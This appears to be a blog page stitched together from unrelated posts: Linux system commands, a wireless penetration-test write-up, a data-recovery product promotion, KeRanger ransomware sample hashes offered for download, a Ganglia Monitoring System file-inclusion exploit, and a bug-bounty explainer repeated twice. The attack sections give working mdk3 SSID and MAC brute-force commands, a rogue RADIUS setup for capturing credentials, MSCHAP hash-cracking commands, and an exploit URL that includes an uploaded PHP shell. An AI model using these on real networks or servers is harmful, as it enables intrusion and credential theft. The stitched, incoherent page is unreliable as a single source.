Saturday, April 25, 2020

Top System Related Commands In Linux With Descriptive Definitions


Commands are just like an instructions given to a system to do something and display an output for that instruction. So if you don't know how to gave an order to a system to do a task then how it can do while you don't know how to deal with. So commands are really important for Linux users. If you don't have any idea about commands of Linux and definitely you also don't know about the Linux terminal. You cannot explore Linux deeply. Because terminal is the brain of the Linux and you can do everything by using Linux terminal in any Linux distribution. So, if you wanna work over the Linux distro then you should know about the commands as well.
In this blog you will get a content about commands of Linux which are collectively related to the system. That means if you wanna know any kind of information about the system like operating system, kernel release information, reboot history, system host name, ip address of the host, current date and time and many more.

Note:

If you know about the command but you don't have any idea to use it. In this way you just type the command, then space and then type -h or --help or ? to get all the usage information about that particular command like "uname" this command is used for displaying the Linux system information. You don't know how to use it. Just type the command with help parameter like: uname -h or uname --help etc.

uname 

The "uname" is a Linux terminal command responsible of displaying the information about Linux system. This command has different parameter to display a particular part of information like kernel release (uname -r) or all the information displayed by typing only one command (uname -a).

uptime

This command is used to show how long the system has been running and how much load on it at current state of the CPU. This command is very useful when you system slows down or hang etc and you can easily get the info about the load on the CPU with the help of this command.

hostname

The "hostname" is the the command in Linux having different parameters to display the information bout the current host which is running the kernel at that time. If you wanna know about the parameters of hostname command then you just type hostname --help or hostname -h to get all the info about the command and the usage of the command.

last reboot

The "last reboot" is the command in Linux operating system used to display the reboot history. You just have to type this command over the Linux terminal it will display the reboot history of that Linux system.

date

The "date" is the command used in Linux operating system to show the date of the day along with the current time of the day.

cal

The "cal" command in Linux used to display the calendar which has the current date highlighted with a square box along with a current month dates and days just like a real calendar.

w

The "w" is the command used in Linux distro for the sake of getting the information about current user. If you type this command it will display who is online at the time.

whoami

The "whoami" is the command in Linux operating system used to show the information that who you are logged in as. For example if you are logged in as a root then it'll display "root" etc.

finger user

The "finger user" is the command used in Linux distribution to display the information about user which is online currently over that Linux system.

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Thursday, April 23, 2020

Wireless Scenarios Part 1: EAP-Radius JTR Hashcat, SSID MAC Issues And More

Intro: 
I have been on a number of wireless engagements again lately and much like the wireless blog i wrote over a year ago i am trying various combinations of techniques and tools in conjunction to gain access to networks. I will show a range of tools and techniques mostly as a reminder to myself. The format will be scenario based on what i have been seeing while testing.  Some of these tools include JTR/Hashcat with specialized rulesets, mdk3 for SSID/MAC bruteforcing, evil access points for bypassing guest networks, DNS redirection/tunneling as well as radius-wpe attacks etc... This will be a 2 part blog, first blog being more Pre-Auth attacks and the second blog being more client attacks.



Finding Hidden SSID's and Limited user network attacks:
Recently i have been on a lot of tests where administrators think its a wonderful idea to hide their SSID's. Administrators feel that if they hide their SSID's they are magically secure. While Cloaked SSID's may pose a slight problem it's not a security feature. Especially when hiding WEP encrypted networks. One issue that keeps coming up is hidden networks with NO clients thus no probe request/response traffic available to passively capture an SSID. Without clients you can't de-authenticate and force reconnections requests with SSID's. To top that off administrators are also running another trivial security feature known as MAC filtering. While MAC filtering is also easy to bypass, again there are no clients on the network so we must come up with strategies to figure out both the SSID's and the possible client MAC addresses. Lets start by addressing the SSID issue.
SSID's can generally be seen in the Beacon traffic. However, if MAC cloaking or hidden SSID's are enabled on your access point they are stripped from the beacon traffic. Striping the beacons of SSID's is usually not a problem if there are clients looking to join the network. As the SSID's must be sent in probe traffic to successfully inquire about joining the network, and SSID's are than easily obtained. Thus why tools like kismet can passively discover the correct SSID given a bit of time and a few clients probing for the hidden network. But, what happens if there is no client traffic?
So the actual scenario i was presented with recently was a Cloaked SSID on a limited use network running WEP, which had a MAC filtered client device. This device would attach to the network once a day for a limited amount of time. So the first piece of the puzzle would be figuring out the SSID for later use then tackling the rest of the problem.

We start with a nice little tool called MDK3 which can be used to send out mass SSID requests in either dictionary style or bruteforce in order to determine an SSID. Lets start with the simple syntax then get into some more fine tuned strategies for determining SSID's based on the mind of the sysadmin.

There are 2 modes i have been using, one is dictionary mode and the other bruteforce mode, i would always start with dictionary because its faster. If a dictionary gives no resultes then move to bruteforce techniques. Also have your Airodump-ng/Kismet running during the attack and if the SSID is found it should apear in there as well as your MDK3 results window. You can get your target BSSID value from airodump along with useful information sometimes regarding length of a hidden SSID value which can be used in fine tuning bruteforcing. MDK3 will automatically pick the correct length and then begin bruteforcing based on that length value:

Below is an example of SSID Length Output: 
CH 6 ][ Elapsed: 8 s ][ 2012-03-01 21:08
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:24:A5:6F:2E:D5 -59 5 0 0 5 54 WEP WEP length: 12
00:1A:A1:05:E8:20 -61 2 0 0 3 48 . WEP WEP length: 1
00:24:A5:6F:37:9F -64 2 0 0 5 54 WEP WEP length: 12

You will notice example output above says that one SSID is of length 12 and another is of length 1, these are the SSID perceived length values based on values in the packet capture. Not always accurate because these values are just Null place holder values and not always set accurately. Essentially one SSID packet above has a one null value while the other packet has 12 null values as placeholders. If a length of 1 is present you may have to start at 1 and go through the whole range of brute forcing. If the length is known then you can start and end at 12 in this case shortening the full bruteforce time considerably.

Attack Modes and Info:
Dictionary Mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -f [dictionary] -s 100

Bruteforce mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -b u -s 100

Above Switch mappings are defined as the following:
b = bruteforce also can add a character set b [charset]
s = packet speed
c = channel
f = ssid dictionary file

I first tried a regular dictionary attack of common words:
ficti0n:# mdk3 mon0 p -c 1 -t 00:01:55:B1:A3:A5 -f english.txt
channel set to: 1
SSID Wordlist Mode activated!
Waiting for beacon frame from target...
Sniffer thread started
Found SSID length 1, usually a placeholder, no information about real SSIDs length available.
Trying SSID:
Packets sent: 1 - Speed: 1 packets/sec
Got response from 03:F0:9F:17:08:32, SSID: "Secure_Access"
Last try was: (null)
Trying SSID: beauty
Packets sent: 167 - Speed: 166 packets/sec
Got response from 03:F0:9F:17:08:33, SSID: "Guest_Access"
Last try was: (null)
Trying SSID: bianca
Trying SSID: winnie
Trying SSID: isabella
Trying SSID: sierra
Trying SSID: 00000000
Trying SSID: dancer1
Packets sent: 32507 - Speed: 376 packets/sec
Got response from 00:3B:10:47:33:32, SSID: "wow"

I began with a dictionary against a network address i got from my initial airodump-ng. On my first MDK3 run i found one new access point named "wow" but i didnt find the target AP's SSID. If you look at the above MDK3 output there are 2 other networks with similar formats which may reflect our target networks format. Below you will see a similar format.
  • Guest_Access
  • Secure_Access
Creating a Custom dictionary based on observations:
If the target company has a repeating SSID format we can create our own dictionary file. According to the above output the format is [Word]_Access, we can take advantage of this by creating a new list with python using the company format. Break open your python editor and create a quick script to parse the english dictionary in the proper format for our attack by uppercasing every dictionary word and appending the word "Access".

#--------------------------------------------------------------
#!/usr/bin/python

dictionary = open("rockyou-75.txt", "r")
SSID_List = open("SSID_List.txt", "a")


for word in dictionary:
word = str.capitalize(word) + "Access"
SSID_List.write(word)


SSID_List.close()
dictionary.close()

#----------------------------------------------------------------

I then ran MDK3 again with my modified list. When this was done I then was able to get a response from MDK3 and determine the SSID of the target network, shown below.

Got response from 00:01:55:B1:A3:A5, SSID: "Secret_Access"


Luckily i didn't have to resort to a true bruteforce attack although the format is shown above for completeness. 



MDK3 MAC address Bruteforce:
The next issue is that of determining a valid MAC address on a network without any known clients, this can also be done with MDK3 and bruteforce mode.  I would suggest looking at other client MAC addresses on the guest or corporate networks as a starting point. Then use those vendor startpoints as your bruteforce values. So if for example you know a bit about the company based on other network MAC values you can use this knowledge in your brute forcing with the -f switch. Below is a basic command ouput for bruteforcing MAC address filters.


ficti0n:# mdk3 mon0 f -t

Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 0 retries
Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 1 retries
Packets sent: 2 - Speed: 1 packets/sec

Found a valid MAC adress: 00:00:22:00:00:00
Have a nice day! :)

Mdk3 -fullhelp output:
--------------------------------------------------------------

MAC filter bruteforce mode
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly
-t
Target BSSID
-m
Set the MAC adress range to use (3 bytes, i.e. 00:12:34)
Without -m, the internal database will be used
-f
Set the MAC adress to begin bruteforcing with
(Note: You can't use -f and -m at the same time)
---------------------------------------------------------------------

I wasn't aware of the above technique at the time of testing but i did give it a try on a local Access Point and found a useable mac address under contrived scenarios. So this was worth noting as I found almost zero mention of it when searching around. Also note that some access points do not properly handle the authentication scenarios in which case the above technique will not work correctly. Usually the user sends an auth request and then the AP sends an auth response denoting success or failure along with an error code, but MAC filering is not part of the normal standard so results will vary regarding error codes. This is AP functionality independent. When it does work it gives you a little smily face and says it found a useable MAC address [SHOWN ABOVE] . Unfortunately in my penetration test I was stuck waiting for a client to come online to get a useable MAC address. Below are a few ideas for the rest of the scenario.


Depending on the location and use of the limited connectivity device there are a few options available for retrieving the WEP key. Networks with hidden SSID's have clients who are always probing for hidden networks whether onsite or remote. You could attack a client directly via a Cafe Latte attack. A Caffe Latte attack woud attack a client with a fake access point and gratuitas ARP requests to discover the WEP key of "Secret_Access" by flooding the client with ARP requests it responds to, generating enough traffic to derive the WEP key. This technique is useful now that you know the SSID, especially if the device is being used at the local coffee shop. I will take a look at this attack in the next blog when focusing on client based attacks.

Caffe Latte was not a good option for me because the device appears online for a short period of time and might not be available either offsite at a coffee shop or even locally long enough to generate enough traffic to crack the network. In this test I however didn't have enough time to see client actually get online but had I see the client get online I would have noted his MAC address and then configured a chop chop or fragmentation attack against the network whether the client was available or not all i would really need is one data packet. I will not illustrate this whole technique as it is fully covered in the following link Cracking WEP with no Clients.


Cracking Radius /PEAP/TTLS Hashes: (Post EAP Attack)
This is about attacking hashes from WPE Radius attacks, but just as a reference before we start here is a quick radius attack setup guide without going into to much detail.


Steps to Setup WPE attack
  1. Install the following freeradius server and WPE patch. http://blog.opensecurityresearch.com/2011/09/freeradius-wpe-updated.html
  2. Start your WPE server by typing 'radiusd'
  3. Tail your log file so you can see incoming credentials 'tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
  4. Setup an access point with similar settings as to what you are seeing in airodump or wireshark essentially this will be a WPA Enterprise with AES and a default secret of 'test' which is set in the WPE installed package by default so it can talk between the AP and the radius server. You will also need to run an ifconfig on your radius server box so you know what address to point the AP too.
  5. Optionally you can use hostAP instead of a physical enterprise AP setup.

Use one of your local computers to connect to the FreeRadius wireless network and type in a fake username/password to grab an example hash. If you dont see your hash output in the logfile then double check all your ip addresses and insure your server is running. In a real attack you would wait for clients to attach to your Access point and the credentials will be forwarded to your FreeRadius-WPE server. Once this is done the fun begins and also where we will start in our attack scenario.

Formatting hashes:
Your hashes can come in a few formats, they might come back as PAP responses in which case they will be plain text passwords. Plaintext PAP can sometimes be a result of mobile devices sending paswords. Otherwise your attack will result in MSChap password challenge/response hashes. Once you receive your MSChap hashes they have to be formated in a specific way in order to crack them. Here is an example hash and the proper format to use before trying to crack the hashes.

Example Hash:
mschap: Mon Feb 05 19:35:59 2012
username: test
challenge: b3:f8:48:e9:db:02:22:83
response: 15:36:d7:e9:da:43:1f:5f:d2:4b:51:53:87:89:63:b7:12:26:7c:a8:f7:ea:9c:26

Formated for john:(username::::response:challenge)
test::::1536d7e9da431f5fd24b5153878963b712267ca8f7ea9c26:b3f848e9db022283

Tool to automate this: (Tool Link)
One of my friends wrote a python script that will take your freeradius-server-wpe.log as input and format out all of the hashes one per line.. The script output can be fed directly into John The Ripper(JTR).

JTR Cracking and Custom Rulesets:
One way to crack these hashes is to use JTR with a bunch of dictionary attacks and if that fails procede from there with custom korelogic rulesets. Check out preceding link for more info on password cracking techniques which can be employed in addition to this blog. Below I will reiterate a few points on setting up JTR with custom rulesets from the Defcon challenge in 2010 based on the previous link and then how to parse them out and use them.

The first thing to note is that the format of the hashes you get from WPE will generally be considered NETNTLM within JTR so we will have to specify that as well as the wordlists we would like to use to start.

Dictionary attacking first:
First go into your JTR directory and try to crack with some dictionaries of your choosing:
ficti0n:# cd Desktop/Tools\ /john/run
ficti0n:# ./john --wordlist=wordlists/wpa.txt --format=NETNTLM JohnFormat.txt

Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
test             (test)
guesses: 1  time: 0:00:00:00 100.00% (ETA: Tue Mar 20 19:29:31 2012)  c/s: 692441  trying: test

Custom Rules: korelogic rulesets (Link)
If the cracking fails on all of your wordlists then try installing custom rulesets with the following sequence of commands meant do download and then append the rules to the current john file. The following command can also be found at the above Korelogic link.
ficti0n:# wget http://contest-2010.korelogic.com/rules.txt
ficti0n:# cat rules.txt >> john.conf


Once this is done you can directly specify any rule in the file similar to the following:
ficti0n:# ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:KoreLogicRulesAppendNum_AddSpecialEverywhere johnFormat.txt


Or if you are time independent just let them all rip and go on vacation and check the results when you get back LOL
ficti0n:# for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:${ruleset} JohnFormat.txt; done


Hashcat rulesets and building pasword files:
Another way to build complex password files is to use tools like HashCat with supplied password rules and pipe it out to STDOut, either into a file or the STDIn of other cracking programs like John the Ripper. There is a rules folder in HashCat which has a number of rules provided by default.


Available Hashcat Rules:
ficti0n:# ls
best64.rule      generated.rule   passwordspro.rule  T0XlC.rule     toggles3.rule
combinator.rule  leetspeak.rule   perfect.rule       toggles1.rule  toggles4.rule
d3ad0ne.rule     oscommerce.rule  specific.rule      toggles2.rule  toggles5.rule

Creating Passwords with Hashcat and a dictionary:
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/cain.txt --stdout

You can also pipe passwords directly into JTR from hashcat output but its really slow so I suggest you make a world list then load it up with --wordlist, but the example is shown below.

Piping Hashcat password rules into JTR: (really slow)
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/rockyou-75.txt --stdout |/pentest/passwords/john/john --format=NETNTLM JohnFormat.txt --stdin


I hope someone finds my above notes useful, I am going to write up some client side attack stuff as well and post it up here... Let me know if you have any questions or need more clarification on anything covered in the blogs. 

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How To Recover Files That Are Deleted From Recycle Bin

How To Recover Files That Are Deleted From Recycle Bin

How To Recover Files That Are Deleted From Recycle Bin

How To Recover Files That Are Deleted From Recycle Bin

Well, Windows users have a bad habit of removing files from recycle bin. Deleting useless files from Recycle Bin helps a user to save some storage space which can improve the speed of a computer. However, Windows users do that more frequently and later regret. Actually, Recycle Bin is a place from where we can get back our deleted files and folders.
Sometimes, we accidentally delete our important files and folders and due to some reason we lose them from Recycle bin too! At that time, we search for recovery methods. Well, there are many methods available over the web which can help you to recover deleted files from computer, but, when it comes to reliability, nothing can beat EaseUS.

What Is EaseUS Data Recovery Wizard?

EaseUS is one of the leading software providers which is known for its data recovery programme. EaseUS offers some free data recovery software that can help you to recover deleted, formatted or lost data from PC, laptop or removable device easily and quickly.
One of the best thing about EaseUS is that it provides tools for recycle bin recovery which can help you to get back files that you have deleted from the Recycle bin itself. EaseUS Data Recovery Wizard free can easily recover lost files, pictures, documents, videos and more from deleting, formatting, partition loss, OS crash, virus attack and other data loss cases.

How To Recover Deleted Files?

If you are struggling to get back your lost data files, then here is an easy data recovery method which will help you to get back deleted files on your computer. Below, we are going to share a mini guide on how to use EaseUS Recycle Bin Recovery to get back your deleted data.
Step 1. First of all, you need to download and install EaseUS Data Recovery Wizard on your Windows computer and then launch it normally. You need to select the location where you want to scan and then click on 'Scan'
Step 2. Now, wait for few minutes until the tool finishes scanning your drive. The tool search for files that got deleted or cleaned from the Recycle Bin.
Step 3. Now it will show you files that you can recover. Here you need to click on the file which you want to recover and click on 'Recover'
That's it, you are done! This is how you can use EaseUS data recovery to get back your deleted files on your computer.

Benefits of EaseUS Data Recovery

Well, the data recovery tool provided by EaseUS comes with many benefits. It can not only recover accidentally deleted files, but it can also recover data in case of Virus Attacks, Hard Disk Damage, OS Crash etc.
You can also use this awesome data recovery wizard to recover deleted files from External Disk, USB Drive, Camcorder, Mobile Devices, Zip Drive, iPod, Music Player and more.
Overall, this is one of the best data recovery tools you can have on your Windows computer. EaseUS Data Recovery also has a free version with restricted features. Overall, this is a stress-free solution to get back your deleted files
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Ransomware.OSX.KeRanger Samples


Research: New OS X Ransomware KeRanger Infected Transmission BitTorrent Client Installer by Claud Xiao

Sample credit: Claud Xiao


File information

d1ac55a4e610380f0ab239fcc1c5f5a42722e8ee1554cba8074bbae4a5f6dbe1 
1d6297e2427f1d00a5b355d6d50809cb 
Transmission-2.90.dmg

e3ad733cea9eba29e86610050c1a15592e6c77820927b9edeb77310975393574 
56b1d956112b0b7bd3e44f20cf1f2c19 
Transmission

31b6adb633cff2a0f34cefd2a218097f3a9a8176c9363cc70fe41fe02af810b9
14a4df1df622562b3bf5bc9a94e6a783 
General.rtf

d7d765b1ddd235a57a2d13bd065f293a7469594c7e13ea7700e55501206a09b5 
24a8f01cfdc4228b4fc9bb87fedf6eb7 
Transmission2.90.dmg

ddc3dbee2a8ea9d8ed93f0843400653a89350612f2914868485476a847c6484a
3151d9a085d14508fa9f10d48afc7016 
Transmission

6061a554f5997a43c91f49f8aaf40c80a3f547fc6187bee57cd5573641fcf153 
861c3da2bbce6c09eda2709c8994f34c 
General.rtf



Download

Continue reading


Ganglia Monitoring System LFI


Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was "Ganglia Monitoring System" http://ganglia.sourceforge.net
The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)
apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a variable....bingo.

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: $include_file = $regs[2];
class.TemplatePower.inc.php: if( !@include_once( $include_file ) )
class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );
class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );
graph.php: include_once($graph_file);
The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;
....
....
....
$graph_file = "$graphdir/$graph.php";


Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}

#-------------------------------------------------------------------------------
# If arg is a valid number, return it. Otherwise, return null.
function clean_number( $value )
{
return is_numeric( $value ) ? $value : null;
}
Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {
include_once($graph_file);

$graph_function = "graph_${graph}";
$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace
} else {
/* Bad stuff happened. */
error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");
exit();
}

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).
The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...


Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
...
...
...
$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";
$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";
if( is_file( $php_report_file ) ) {
include_once $php_report_file;


tl;dr; wrap up - "Ganglia Monitoring System" http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell

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$$$ Bug Bounty $$$

What is Bug Bounty ?



A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.




Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.


Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1.  In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.


While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.

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$$$ Bug Bounty $$$

What is Bug Bounty ?



A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.




Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.


Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1.  In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.


While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.

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